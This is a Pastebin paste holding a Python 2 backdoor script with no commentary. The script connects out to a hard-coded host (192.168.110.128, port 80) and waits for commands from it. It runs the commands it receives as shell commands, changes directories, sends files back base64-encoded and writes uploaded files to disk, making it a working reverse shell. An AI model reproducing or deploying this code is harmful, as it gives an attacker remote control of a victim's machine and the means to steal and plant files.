Guest User

Untitled

a guest
Oct 5th, 2023
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.20 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import socket
  4. import subprocess
  5. import json
  6. import os
  7. import base64
  8. import sys
  9.  
  10. class Backdoor:
  11.     def __init__(self, ip, port):
  12.         self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13.         self.connection.connect((ip, port))
  14.  
  15.     def reliable_send(self, data):
  16.         json_data = json.dumps(data, ensure_ascii=False)
  17.         self.connection.send(json_data)
  18.  
  19.     def reliable_receive(self):
  20.         json_data = ""
  21.         while True:
  22.             try:
  23.                 json_data = json_data + self.connection.recv(1024)
  24.                 return json.loads(json_data)
  25.             except ValueError:
  26.                 continue
  27.  
  28.     def read_file(self, path):
  29.         with open(path, "rb") as file:
  30.             return base64.b64encode(file.read())
  31.  
  32.     def write_file(self, path, content):
  33.         with open(path, "wb") as file:
  34.             file.write(base64.b64decode(content))
  35.             return "[+] Upload successful."
  36.  
  37.     def execute_system_command(self, command):
  38.         DEVNULL = open(os.devnull, 'wb')
  39.         return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)
  40.  
  41.     def run(self):
  42.         while True:
  43.             command = self.reliable_receive()
  44.             try:
  45.                 if command[0] == "exit":
  46.                     self.connection.close()
  47.                     sys.exit()
  48.                 elif command[0] == "cd" and len(command) > 1:
  49.                     command_result = self.change_working_direcory_to(command[1])
  50.                 elif command[0] == "download":
  51.                     command_result = self.read_file(command[1])
  52.                 elif command[0] == "upload":
  53.                     command_result = self.write_file(command[1], command[2])
  54.                 else:
  55.                     command_result = self.execute_system_command(command)
  56.             except Exception:
  57.                 command_result = "[-] Error during command execution."
  58.             self.reliable_send(command_result)
  59.  
  60.     def change_working_direcory_to(self, path):
  61.         os.chdir(path)
  62.         return "[+] Changing working directory to " + path
  63.  
  64. my_backdoor = Backdoor("192.168.110.128", 80)
  65. my_backdoor.run()
Add Comment
Please, Sign In to add comment